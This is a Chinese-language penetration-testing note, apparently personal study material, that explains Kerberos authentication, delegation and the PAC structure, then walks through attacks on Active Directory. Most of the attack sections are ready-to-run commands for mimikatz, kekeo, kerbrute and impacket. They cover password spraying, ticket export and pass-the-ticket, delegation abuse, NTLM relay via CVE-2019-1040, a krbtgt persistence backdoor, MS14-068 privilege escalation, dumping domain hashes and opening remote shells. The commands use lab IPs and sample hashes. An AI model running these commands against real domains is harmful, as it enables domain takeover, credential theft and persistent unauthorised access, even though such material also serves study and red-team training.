Kerberos协议
认证流程
kerberos 是一种由MIT(麻省理工大学)提出的一种网络身份验证协议,它旨在通过使用加密技术为客户端/服务端应用程序提供强大的认证服务。
kerberos协议中主要由三个角色:
(1)访问服务的client(一下表述为Client或者用户)
(2)提供服务的server(一下表述为服务)
(3)KDC(Key Distribution Center)密钥分发中心
其中KDC服务默认会安装在一个域的域控中,而Client和Server为域内的用户或者是服务,如HTTP服务,SQL服务,远程桌面服务。在kerberos中Client是否有权限访问Server端的服务有KDC发放的票据决定。
协议过程:
(1)、ASREQ:Client向KDC发起ASREQ请求内容为:明文形式的用户名、通过Client密码Hash 后加密的时间戳、ClientID、网络地址、加密类型等内容。
(2)、AS_REP:当KDC接收到请求之后,通过AD获取该用户的信息。通过获取的密码信息生成一个秘钥 对Authenticator进行解密。如果解密后的内容和已知的内容一致,则证明请求着提供的密码正确, 即确定了登录者的身份。AS成功认证对方的身份之后,会先生成一个用于确保该用户和KDC之间通信安全的会话秘钥——Logon Session Key,并采用该用户密码派生的秘钥进行加密。KAS接着为该用户创建“认购权证”——TGT。TGT主要包含两方面的内容:用户相关信息和Logon Session Key,而 整个TGT则通过KDC自己的密钥进行加密。最终,被不同密钥加密的Logon Session Key和TGT返回给客户端。
(3)、TGSREQ:Client凭借TGT票据向KDC发起针对特定服务的TGSREQ请求,该请求主要包含如下的内容:客户端用户名、通过Logon Session Key加密的Authenticator、TGT和访问的服务器(其实是服务名)。
(4)、TGS_REP:KDC使用 NTLM-hash进行解密获取Logon Session Key,然后通过Logon Session Key 解密Authenticator,进而验证了对方的身份。TGS完成对客户端的认证之后,会生成一个用于确保客户端-服务器之间通信安全的会话秘钥——Service Session Key,该会话秘钥通过Logon Session Key进行加密。然后出售给客户端需要的入场券——ST。ST主要包含两方面的内容:客户端用户信息和Service Session Key,整个ST通过服务器密码派生的秘钥进行加密。最终两个被加密的Service Session Key和ST回复给客户端。
(5)、AP_REQ:Client拿着TGS票据去请求服务,但是,服务端在接收到ST之后,如何确保它是通过TGS购买,而不是自己伪造的呢?这很好办,不要忘了ST是通过自己密码派生的秘钥进行加密 的。 具体的操作过程是这样的,除了ST之外,服务请求还附加一份通过Service Session Key加密的 Authenticator。
(6)、AP_REP:服务器在接收到请求之后,先通过自己密码派生的秘钥解密ST,并从中提取Service Session Key。然后通过提取出来的Service Session Key解密Authenticator,进而验证了客户端的身份。现在服务器已经可以确保客户端是它所声称的那么用户,客户端还没有确认它所访问的不是一个钓鱼服务呢。为了解决客户端对服务器的验证,服务要需要将解密后的Authenticator再次用Service Session Key进行加密,并发挥给客户端。客户端再用缓存的Service Session Key进行解密,如果和之前的内容完全一样,则可以证明自己正在访问的服务器和自己拥有相同的ServiceSession Key,而这个会话秘钥不为外人知晓。解出来之后服务器会得到一个账户的PAC,然后服务器会就拿着PAC去KDC那边问Client有没有访问权限,域控解密PAC。获取Client的sid,以及所在的组,再根据该服务的ACL,判断Client是否有访问服务的权限。
PAC的全称是Privilege Attribute Certificate(特权属证书)。不同的账号有不同的权限,PAC就是为了区别不同权限的一种方式。
TGT:认证票据(购票许可证)
TGS:票据发放服务
TGS tikcet:服务票据 后面简称ST(Service ticket,入场券)
委派
在Windows 2000 Server首次发布Active Directory时,Microsoft必须提供一种简单的机制来支持用户通过Kerberos向Web Server进行身份验证并需要代表该用户更新后端数据库服务器上的记录的方案。这通常称为“ Kerberos双跳问题”,并且要求进行委派,以便Web Server在修改数据库记录时模拟用户。
需要注意的一点是接受委派的用户只能是服务账户或者计算机用户。
非约束委派
Microsoft在Windows 2000中实现了Kerberos“不受约束的委托”,从而启用了这种级别的委托。
非约束的委派,那么Server可以接受任何用户的委派的去请求其他所有服务。
一个经典例子:参考Y4er
jack需要登陆到后台文件服务器,经过Kerberos认证的过程如下:
- jack以Kerberos协议认证登录,将凭证发送给websvc。而该websvc服务会将用户的TGT缓存到LSASS以备下次重用。
- websvc使用jack的凭证向KDC发起Kerberos申请TGT。
- KDC检查websvc的委派属性,如果websvc可以委派,则返回可转发的jack的TGT。
- websvc收到可转发TGT之后,使用该TGT向KDC申请可以访问后台文件服务器的TGS票据。
- KDC检查websvc的委派属性,如果可以委派,并且权限允许,那么返回jack访问服务的TGS票据。
- websvc使用jack的服务TGS票据请求后台文件服务器。
这里就相当于说 jack 登录到web服务器后 访问后台文件服务器 是没有权限的 后台服务器以为是websvc在访问它,但如果websvc设置了委派 就可以以jack的身份去访问后台这样 就有权限访问 这个时候websvc也可以使用jack的身份访问其他jack有权限访问的服务
约束委派
微软很早就意识到非约束委派并不是特别安全,在 Windows 2003上发布了"约束"委派。其中包括一组 Kerberos 协议扩展: S4U2Self 和 S4U2Proxy。
S4U2proxy限制了对发送给受委派的服务去访问其他服务,不允许受委派的服务代表用户使用这个TGT去访问任意服务,而是只能访问指定的服务。配置它后,约束委派将限制指定服务器可以代表用户执行的服务。这需要域管理员特权(其实严谨一点是SeEnableDelegation
特权,该特权很敏感,通常仅授予域管理员)才能为服务配置域帐户,并且将帐户限制为单个域。
S4U2self
允许受约束委派的服务代表任意用户向KDC请求服务自身,从而获得一张该用户(任意用户)的对当前受约束委派服务的票据TGS(ST),该服务票据TGS(ST)包含了用户的相关信息,比如该用户的组信息等。
S4U2proxy
允许受约束委派的服务通过服务票据ST,然后代表用户去请求指定的服务。
比如:计算机用户(既JACKSON-PC$) 被配置了约束的委派,那么JACKSON-PC$
可以接受任何用户的委派的去请求特定的服务。具体过程是收到用户的请求之后,首先代表用户获得针对服务自身的可转发的kerberos服务票据(S4U2SELF),拿着这个票据向KDC请求访问特定服务的可转发的TGS(S4U2PROXY),并且代表用户访问特定服务,而且只能访问该特定服务。
相较于非约束委派,约束委派最大的区别也就是配置的时候选择某个特定的服务,而不是所有服务。
基于资源的约束委派
为了配置受约束的委派,必须拥有SeEnableDelegation
特权,该特权很敏感,通常仅授予域管理员。
为了使用户/资源更加独立,Windows Server 2012中引入了基于资源的约束委派。基于资源的约束委派允许资源配置受信任的帐户委派给他们。基于资源的约束委派将委派的控制权交给拥有被访问资源的管理员。
与约束委派最大的不同点,就是”基于资源”这四个字,如何理解”基于资源”?在设置相关的约束委派的实现的时候不再需要域管理员自己去设置相关约束委派的属性,而操作权落在了当前登录的机器或者用户的手中
- 传统的约束委派是正向的,通过修改服务A的属性msDS-AlowedToDelegateTo,添加服务B的SPN,设置约束委派对象(服务B),服务A便可以模拟用户向域控制器请求访问服务B的ST服务票据。
- 而基于资源的约束委派则是相反的,通过修改服务B属性msDS-AllowedToActOnBehalfOfotherldentity,添加服务A的SID,达到让服务A模拟用户访问B资源的目的。
PAC
PAC(Privilege AttributeCertificate)特权访问证书
PAC整体的结构上是一个AuthorizationData的结构
AuthorizationData ::= SEQUENCE OF SEQUENCE { ad-type [0] Int32, ad-data [1] OCTET STRING }
AuthorizationData结构的ad-type主要有以下几个
AD-IF-RELEVANT 1 AD-INTENDED-FOR-SERVER 2 AD-INTENDED-FOR-APPLICATION-CLASS 3 AD-KDC-ISSUED 4 AD-AND-OR 5 AD-MANDATORY-TICKET-EXTENSIONS 6 AD-IN-TICKET-EXTENSIONS 7 AD-MANDATORY-FOR-KDC 8 Reserved values 9-63 OSF-DCE 64 SESAME 65 AD-OSF-DCE-PKI-CERTID 66 (hemsath @us.ibm.com) AD-WIN2K-PAC 128 (jbrezak @exchange.microsoft.com) AD-ETYPE-NEGOTIATION 129 (lzhu @windows.microsoft.com)
针对于伪造白银票据这种情况,微软引入了一个特权访问证书的安全机制,开启之后会在第二步TGS发送给客户端的ST票据中插入一段PAC信息,该信息包括了客户端的用户SID(域名+用户ID),用户所在组信息等等,具体可以参考上面的PAC结构。
接着服务端AP接受到客户端的ST票据之后会取出其中的PAC内容,并拿去KDC质询,这个PAC是KDC加密的,客户端在只知道服务端密钥的情况下是无法伪造的
KDC收到客户端的PAC之后将其解密获取其中的用户SID并在AD(AcountDatabase)里面查询对应的用户,接着KDC将该用户与服务器的ACL进行对比,查看该用户是否有权限访问对应的服务,最后KDC验证成果之后才会给服务端返回质询结果,服务端才会完全详细客户端,并开始Kerberos认证最后一步操作
这里PAC出了一个严重漏洞:MS14068,补丁编号是KB3011780,域里面最严重的漏洞之一,它允许任意用户提升到域管权限。
安全问题
黄金、白银票据
黄金票据:在从AS获取TGT的过程中,TGT是用Krbtgt hash加密的,如果获取到了Krbtgt 的 NTLM-Hash 值,就可以给我们自己签发任意用户的TGT票据,访问整个域内机器。黄金票据在利用过程中由 KDC颁发 TGT,并且在生成伪造的 TGT 得 20 分钟内,TGS 不会对该 TGT 的真伪进行验证。
白银票据:TGS ticket的encpart是使用Server hash进行加密的,如果我们拥有服务的hash,就可以给我们自己签发任意用户的TGS票据
相较于黄金票据,白银票据使用要访问服务的hash,而不是krbtgt的hash,由于生成的是tgs票据,不需要跟域控打交道,但是白银票票据只能访问特定服务。但是要注意的一点是,伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDC PAC签名,则银票将不起作用。
伪造黄金票据能长期有效。Kerberos 默认 TGT 的有效期是 10 小时,但攻击者可以伪造一个100 年不死的 TGT。只要域控验证时仍然使用旧的 krbtgt 密钥,这个票就永远有效。要想作废这个黄金票据,需要轮换 两次 krbtgt 密码。
为什么是两次?因为域控保留两个 krbtgt 密钥用于票据验证:当前+上一个。
也就是说,当你轮换了一次密码,域控现在使用新 krbtgt 密钥签发 TGT,但为了兼容那些“旧的未过期票据”,它仍然能用旧的密钥验证。
白银票据隐蔽性好,因为TGS ticket是直接交给目标服务的,没有 KDC 请求记录
AS-REPRoasting
对于域用户,如果设置了选项”Do not require Kerberos preauthentication”,此时向域控制器的88端口发送AS_REQ请求,对收到的AS_REP内容(enc-part底下的ciper,因为这部分是使用用户hash加密session-key,我们通过进行离线爆破就可以获得用户hash)重新组合,能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式,接下来可以使用hashcat对其破解,最终获得该用户的明文口令
可以用impacket的GetNPUsers
用户枚举
在AS_REQ过程中传递的用户信息在AD中存在与否,AS给返回的状态信息不一致,存在的用户还会额外返回e-data数据
错误代码 | 错误名称 | 含义 | 用户是否存在? |
---|---|---|---|
6 | KDC_ERR_C_PRINCIPAL_UNKNOWN | 客户端用户名不存在 | ❌ 不存在 |
7 | KDC_ERR_S_PRINCIPAL_UNKNOWN | 目标服务未知(通常不出现在 AS 阶段) | - |
16 | KDC_ERR_ETYPE_NOSUPP | 加密类型不支持 | ✅ 存在 |
24 | KDC_ERR_PREAUTH_REQUIRED | 需要预身份验证 | ✅ 存在 |
25 | KDC_ERR_PREAUTH_FAILED | 预身份验证失败(例如时间戳校验失败) | ✅ 存在 |
27 | KDC_ERR_CLIENT_REVOKED | 用户被禁用 / 锁定 | ✅ 存在 |
32 | KDC_ERR_POLICY | 由于策略限制(例如仅限智能卡登录) | ✅ 存在 |
所以用户名存在,密码错误的情况下KDC_ERR_PREAUTH_FAILED
,用户名不存在KDC_ERR_C_PRINCIPAL_UNKNOWN
kerbrute
指定dc建议加上,不加有概率会卡死
kerbrute_windows_amd64.exe userenum --dc 10.10.10.10 -d lab.ropnop.com usernames.txt
pyKerbrute
python2 EnumADUser.py 10.10.10.10 de1ay.com usernames.txt tcp
密码喷洒Password Spraying
密码喷洒其实就是密码复用,当获得了一个账号的明文密码之后,那用这个密码去尝试全域里所有账号
DomainPasswordSpray
ps脚本
Invoke-DomainPasswordSpray -Password Spring2017
# 调用内置用户字典
Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt
kerbrute
kerbrute_windows_amd64 passwordspray -d de1ay.com domain_users.txt 1qaz@WSX
pyKerbrute
py版本支持使用hash传递进行尝试
python2 ADPwdSpray.py 10.10.10.10 de1ay.com user.txt clearpassword 1qaz@WSX tcp
python2 ADPwdSpray.py 10.1.1.1 hack.com user.txt ntlmhash 161cff084477fe596a5db81874498a24 tcp
pass the ticket
Kerbreos 除了第一步AS_ERQ是使用时间戳加密用户hash验证之外,其他的步骤的验证都是通过票据,这个票据 可以是TGT票据或者TGS票据。因为票据里面的内容主要是session_key和ticket(使用服务hash加密的,服务包括krbtgt),拿到票据之后。我们就可以用这个票据来作为下阶段的验证了。
非约束委派攻击
查询域内设置了非约束委派的机器账户:因为配置非约束的委派的账户的UserAccount 配置了TRUSTED_FOR_DELEGATION flag位,TRUSTED_FOR_DELEGATION 对应是 0x80000 ,也就是 524288 。(域内域控机器账户默认设置了非约束委派)
查询域内设置了非约束委派的机器账户
AdFind.exe -b "DC=haishi,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
- 通过一定手段拿下这台配置了非约束委派的账户的权限(比如这里面的
JACKSON-PC$
) - 通过一定手段(比如通过打印机的那个漏洞)诱导域管访问我们拿下的配置了非约束委派的账户
- 最后导出票据然后进行pass the ticket
使域管理员访问被控机器
非约束委派的安全问题就是如果我们找到配置了非约束的委派的账户,比如这里面的JACKSON-PC$
,并且通过一定手段拿下该账户的权限,然后诱导域管访问该JACKSON-PC$
,这个时候域管会将自己TGT发送到JACKSON-PC$
并缓存到LSASS中,那我们就可以从LSASS中导出域管的TGT票据,然后通过PTT,从而拥有域管的权限。
查询域内设置了非约束委派的机器账户
AdFind.exe -b "DC=haishi,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
让域控访问web:在域控上执行net use \\web.haishi.com
重新导出票据mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
mimikatz导入票据
mimikatz.exe "kerberos::ptt [0;36eb98]-2-0-60a10000-Administrator@krbtgt-HAISHI.COM.kirbi" "exit"
此时可以访问dir \\DC.aaa.com\c$
清除票据kerberos::purge
利用打印机漏洞
强迫运行打印服务(Print Spooler)的主机向目标主机发起 Kerberos 或 NTLM 认证请求。
查询域控是否开启打印机sc query spooler
https://github.com/leechristensen/SpoolSample/
需要使用域用户运行SpoolSample,runas /user:haishi.com\many powershell
打开一个域用户权限的powershell
然后在与用户的powershell运行SpoolSample.exe dc web
然后导出票据mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
导入票据 mimikatz.exe "kerberos::ptt [0;af1f8]-0-0-60a50000-DC$@cifs-dc.haishi.com.kirbi" "exit"
导出hash mimikatz.exe "lsadump::dcsync /domain:haishi.com /user:haishi\Administrator" "exit"
这里可以利用利用wmiexec.py远程登录
python3 wmiexec.py -hashes :fb4f3a0d0b8c4d81d72d36b925dbed6c haishi.com/administrator@10.150.127.166 -no-pass
约束委派攻击
相较于非约束的委派,约束的委派并不需要用户过来访问就可以代表该用户,但是只能访问特定的服务。
查询配置了约束的委派的服务账户1:
因为配置约束的委派的机子的UserAccount 配置了TRUSTED_TO_AUTH_FOR_DELEGATION flag位,TRUSTED_TO_AUTH_FOR_DELEGATION 对应是 0x1000000 ,也就是 1677721
AdFind.exe -b "DC=haishi,DC=com" -f "(&(objectCategory=computer)(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=16777216))" dn
找到该服务账号委派1委派的服务账户2:
约束的资源委派,除了配置TRUSTED_TO_AUTH_FOR_DELEGATION 之外,还有个地方是存储对哪个spn 进行委派的,位于msDS-AllowedToDelegateTo ,查询该服务账号的msDS-AllowedToDelegateTo位
AdFind.exe -b "DC=haishi,DC=com" -f "(&(objectCategory=computer)(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=16777216))" msDS-AllowedToDelegateTo
- 通过一定手段拿下这个服务账户1
- 发起一个从服务1到服务2的正常的约束委派的流程,从而访问服务2
使用机器账户WEB
administrator权限
获取配置了约束委派的服务账户或者机器账户的凭据 明文密码 hash都可
先拿到WEB的票据
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
使用kekeo申请服务票据
kekeo.exe "tgs::s4u /tgt:[0;3e7]-2-2-40e10000-WEB$@krbtgt-HAISHI.COM.kirbi /user:Administrator@haishi.com /service:cifs/DC.haishi.com" "exit"
导入票据
mimikatz.exe "kerberos::ptt TGS_Administrator@haishi.com@HAISHI.COM_cifs~DC.haishi.com@HAISHI.COM.kirbi" "exit"
导入之后 就能访问了
使用机器账户的hash
先获取机器账户的hash
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
请求票据
kekeo.exe "tgt::ask /user:WEB$ /domain:haishi.com /NTLM:48b1ee6132349190ee7c47d4b5d91608" "exit"
# 申请administrator权限的票据
kekeo.exe "tgs::s4u /tgt:TGT_WEB$@HAISHI.COM_krbtgt~haishi.com@HAISHI.COM.kirbi /user:Administrator@haishi.com /service:cifs/DC.haishi.com" "exit"
然后导入票据
mimikatz.exe "kerberos::ptt TGS_Administrator@haishi.com@HAISHI.COM_cifs~DC.haishi.com@HAISHI.COM.
# 访问
dir \\DC.haishi.com\c$
用机器账户的hash 远程wmiexec登录
利用之前获取到的hash
48b1ee6132349190ee7c47d4b5d91608
用getST申请服务票据
python3 getST.py -dc-ip 10.150.127.166 -spn CIFS/DC.haishi.com -impersonate administrator haishi.com/WEB$ -hashes :48b1ee6132349190ee7c47d4b5d91608
然后导入票据
export KRB5CCNAME=administrator.ccache //设置环境变量
python3 wmiexec.py -k haishi.com/administrator@DC.haishi.com -no-pass -dc-ip 10.150.127.166
这里有个小tips
需要将域名加入到hosts,不然会报错
使用服务账户many
这里直接用密码,先申请tgt
kekeo.exe "tgt::ask /user:many /domain:haishi.com /password:asd123! /ticket:many.kirbi" "exit"
然后伪造其他用户 申请tgs票据
kekeo.exe "Tgs::s4u /tgt:TGT_many@HAISHI.COM_krbtgt~haishi.com@HAISHI.COM.kirbi /user:administrator@haishi.com /service:cifs/DC.haishi.com" "exit"
导入票据
mimikatz.exe "kerberos::ptt TGS_Administrator@haishi.com@HAISHI.COM_cifs~DC.haishi.com@HAISHI.COM.kirbi" "exit"
然后访问dir \\dc.haishi.com\c$
基于资源的约束性委派
基于资源的约束委派具有传统的约束委派的所有安全问题,但是相较于传统的约束委派。基于资源的约束委派的利用又相对较为简单。
利用
https://xz.aliyun.com/news/11001
利用方式1:基于资源的约束委派攻击本地提权
实验环境中 如果获取到了many的权限 就可以用这个用户的权限进行本地提权了
- 利用many域用户创建一个机器账户(每个域用户默认可以创建10个)
- 然后修改WEB的msDS-AllowedToActOnBehalfOfOtherIdentity 为新创建的机器用户的sid
- 然后利用机器账户申请票据 进行提权
创建机器用户
创建一个test1机器用户 密码123456
powershell Set-ExecutionPolicy Bypass -Scope Process import-module .\Powermad.ps1 New-MachineAccount -MachineAccount test1 -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)
这里需要注意 如果powershell设置了约束模式 则需要 bypass才能导入 这些powershell脚本
机器账户创建之后
利用powerView查询机器账户的sid(也可手动)
Get-NetComputer test1 -Properties objectsid
test1 sid:S-1-5-21-1400638014-602433399-2258725660-1148
设置委派 修改WEB的msds-allowedtoactonbehalfofotheridentity的值
利用powerView
powershell Set-ExecutionPolicy Bypass -Scope Process import-module .\powerview.ps1 $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1400638014-602433399-2258725660-1148)" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer WEB| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
查询是否修改成功
Get-DomainComputer WEB -Properties msds-allowedtoactonbehalfofotheridentity
清除 msds-allowedtoactonbehalfofotheridentity 属性的值
Set-DomainObject WEB -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
然后生成票据
python3 getST.py -dc-ip 10.150.127.166 haishi.com/test1\$:123456 -spn cifs/WEB.haishi.com -impersonate administrator
导入票据
export KRB5CCNAME=administrator.ccache python3 wmiexec.py WEB.haishi.com -no-pass -k -dc-ip 10.150.127.166
这里还是需要将域名加入到hosts
psexec上去权限更高
python3 psexec.py -k haishi.com/administrator@WEB.haishi.com -no-pass
利用方式2 Acount Operators组用户拿下主机
如果获得Acount Operators组用户就可以获得域内除了域控的所有主机权限
Acount Operators组成员可以修改域内除了域控其他所有主机的
msDS-AllowedToActOnBehalfOfOtherIdentity
属性这里本地设置一个Acount Operators组用户
就还是用many 加入进去
查询Acount Operators组成员
adfind.exe -h 10.150.127.166:389 -s subtree -b CN="Account Operators",CN=Builtin,DC=haishi,DC=com member
操作一样
先创建机器账户
powershell Set-ExecutionPolicy Bypass -Scope Process import-module .\Powermad.ps1 New-MachineAccount -MachineAccount test3 -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)
然后设置委派
先查sid
Get-NetComputer test1 -Properties objectsid
test3 sid:S-1-5-21-1400638014-602433399-2258725660-1152
修改WEB的msds-allowedtoactonbehalfofotheridentity的值
powershell Set-ExecutionPolicy Bypass -Scope Process import-module .\powerview.ps1 $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1400638014-602433399-2258725660-1152)" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer WEB| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
然后生成票据
python3 getST.py -dc-ip 10.150.127.166 haishi.com/test3\$:123456 -spn cifs/WEB.haishi.com -impersonate administrator
导入票据
export KRB5CCNAME=administrator.ccache python3 wmiexec.py WEB.haishi.com -no-pass -k -dc-ip 10.150.127.166
利用方式3:结合HTLM Relay接管域控(CVE-2019-1040)
辅助域控 win2016
DC2 10.150.127.186
还是先在WEB上创建一个机器用户 test2 123456
powershell Set-ExecutionPolicy Bypass -Scope Process import-module .\Powermad.ps1 New-MachineAccount -MachineAccount test2 -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)
然后开启监听
python3 ntlmrelayx.py -t ldap://10.150.127.166 -smb2support --remove-mic --delegate-access --escalate-user test2\$
然后利用打印机漏洞
python3 printerbug.py haishi.com/many:asd123\!\@10.150.127.186 10.150.127.128
然后申请票据
python3 getST.py haishi.com/test2\$:123456 -spn CIFS/DC2.haishi.com -impersonate Administrator -dc-ip 10.150.127.166
导入
成功接管域控
ntlm-relay攻击的前提是,smb认证获取的机器没有开启smb签名
cve-2019-1040 在这里的作用是绕过了mic检验 因为打印机触发的是smb协议 域控是默认带有smb签名的 而cve漏洞在这里就刚好绕过了mic的检验 然后完成了ntlm-relay攻击
利用方式4 打造变种黄金票据
在获得域控的权限后 对krbtgt用户设置委派属性 来打造黄金票据 进行权限维持
先创建一个机器账户 test4 123456
然后来到域控上操作
在powershell中执行
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount test4$ Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount
已经成功配置基于资源的约束委派
现在不管krbtgt的密码 hash怎么变 都不会影响我们打造黄金票据
申请票据
python3 getST.py haishi.com/test4\$:123456 -spn krbtgt -impersonate administrator -dc-ip 10.150.127.166
导入票据
export KRB5CCNAME=administrator.ccache python3 smbexec.py -k administrator@DC.haishi.com -no-pass -dc-ip 10.150.127.166
MS14-068
补丁编号是KB3011780,域里面最严重的漏洞之一,它允许任意用户提升到域管权限。
该漏洞最本质的地方在于Microsoft Windows Kerberos KDC无法正确检查Kerberos票证请求随附的特权属性证书(PAC)中的有效签名,这里面的签名就是上面提到的服务检验和以及KDC校验和。导致用户可以自己构造一张PAC。 签名原本的设计是要用到HMAC系列的checksum算法,也就是必须要有key的参与,我们没有krbtgt的hash以及服务的hash,就没有办法生成有效的签名,但是问题就出在,实现的时候允许所有的checksum算法都可以,包括MD5。那我们只需要把PAC 进行md5,就生成新的校验和。这也就意味着我们可以随意更改PAC的内容,完了之后再用md5 给他生成一个服务检验和以及KDC校验和。
在MS14-068修补程序之后,Microsoft添加了一个附加的验证步骤,以确保校验和类型为KRB_CHECKSUM_HMAC_MD5。
在KERB_VALIDATION_INFO结构里面,我们看到有这两个字段。
其中GroupId是用户所在所在的组,那只要我们把重要组(比如域管组)的sid加进GroupId。那么服务拿这用户的TGS去询问域管用户是否有访问访问改服务的权限的时候,域控会解密PAC,提取里面用户的sid,以及所在的组(GroupId),我们已经把域管加进去了,是的域控把把这个用户当做域管组里面的成员。从而达到提升为域管的效果。pykek加入的是以下组,
- 域用户(513)
- 域管理员(512)
- 架构管理员(518)
- 企业管理员(519)
- 组策略创建者所有者(520)
现在我们已经能够伪造pac,将我们放在域管的组里,然后伪造检验和。但是即使用户可以伪造PAC。该漏洞的利用依旧还有一个棘手的问题。 前面我们说过。PAC是包含在TGT里面的,而TGT是krbtgt的用户hash加密的,也就意味着即使我们可以伪造PAC,那我们有什么办法讲PAC放在票据里面传输给KDC呢。漏洞的作者用了一个很巧妙的方式:
通过查看pykek的源码发现, 作者将PAC加密成密文放在enc-authorization-data里面,enc-authorization-data的结构如下
AuthorizationData::= SEQUENCE OF SEQUENCE {
ad-type[0] Int32,
ad-data[1] OCTET STRING
}
ad-type是加密算法 ad-data是pac加密后的内容 加密用的key是客户端生成的。KDC并不知道这个key。KDC会从PA-DATA里面的AP_REQ获取到这个key。从而对ad-data进行解密,然后拿到PAC,再检查校验和。
AP_REQ的type是PADATA_TYPE.AP_REQ(INTEGER 1),value是如下结构体
AP-REQ ::= [APPLICATION 14] SEQUENCE {
pvno [0] INTEGER (5),
msg-type [1] INTEGER (14),
ap-options [2] APOptions,
ticket [3] Ticket,
authenticator [4] EncryptedData -- Authenticator
}
之前说的TGT票据放在这个结构体里面,就是放在ticket里面。 authenticator 的内容包括加密类型和用session_key加密Authenticator加密成的密文。 Authenticator的结构如下
Authenticator ::= [APPLICATION 2] SEQUENCE {
authenticator-vno [0] INTEGER (5),
crealm [1] Realm,
cname [2] PrincipalName,
cksum [3] Checksum OPTIONAL,
cusec [4] Microseconds,
ctime [5] KerberosTime,
subkey [6] EncryptionKey OPTIONAL,
seq-number [7] UInt32 OPTIONAL,
authorization-data [8] AuthorizationData OPTIONAL
}
其中加密PAC的密钥就放在subkey
里面。 大体流程就是KDC拿到AP_REQ之后,提取里面authenticator的密文,用session_key解密获得subkey,再使用subkey解密enc-authorization-data获得PAC.而PAC是我们自己伪造的.
pykek
Python Kerberos Exploitation Kit
通过 pykek 生成一个域管权限的的TGT票据,然后可以通过 mimikatz 或 impacket 导入TGT票据进行横向移动。
先获取sid
python lookupsid.py aaa.com/dai5:1q2w3e@172.23.4.4 -domain-sids
拼接成S-1-5-21-866784659-4049716574-3063611777-1104
生成TGT
python2 ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr>
python2 ms14-068.py -u lihua@qftm.com -s S-1-5-21-1089315214-1876535666-527601790-1128 -d 192.168.1.10 -p 1234567
python2 ms14-068.py -u lihua@qftm.com -s S-1-5-21-1089315214-1876535666-527601790-1128 -d 192.168.1.10 --rc4 328727b81ca05805a68ef26acb252039
-d也可以-d DC.aaa.com
Mimikatz 加载域管TGT票据
kerberos::purge
kerberos::klist
kerberos::ptc TGT_lihua@qftm.com.ccache
dump hash
python secretsdump.py redteam.com/@DC2.redteam.com -k -no-pass -dc-ip 172.16.228.143 -just-dc-user administrator
redteam.com/administrator@DC2.edteam.com 指定使用哪个用户在目标主机进行认证
-k 使用 Kerberos 认证(读取 TGT)
-no-pass 不提示输入密码(你是用票据的)
-dc-ip 172.16.228.143 指定域控的 IP,防止 DNS 解析失败
-just-dc-user administrator 只 dump 域控上指定用户(administrator)的 hash,速度快且隐蔽
或者
通过你的“假域管”TGT去登录其他机器,比如:
smbexec.py -k -no-pass domain/administrator@victim.domain.com
或者开启远程 WinRM 会话:
evil-winrm -k -no-pass -r victim.domain.com -u administrator -d domain
使用 secretsdump.py 拿下域控上的所有账户 hash:
secretsdump.py -k -no-pass domain/administrator@dc.domain.com
kekeo
exploit::ms14068 /domain:redteam.com /user:testuser /rc4:<ntlm_hash> /sid:S-1-5-21-XXXXX-XXXXX-XXXXX-1104 /ptt
exploit::ms14068 /domain:redteam.com /user:testuser /password:1q2w3e /sid:S-1-5-21-XXXXX-XXXXX-XXXXX-1104 /ptt
impacket
goldenPac.py:这个工具是结合ms14-068加psexec
python goldenPac.py readteam.com/dai5:1q2w3e@DC.readteam.com -dc-ip 172.16.228.143 -target-ip 172.16.228.143 -debug
msf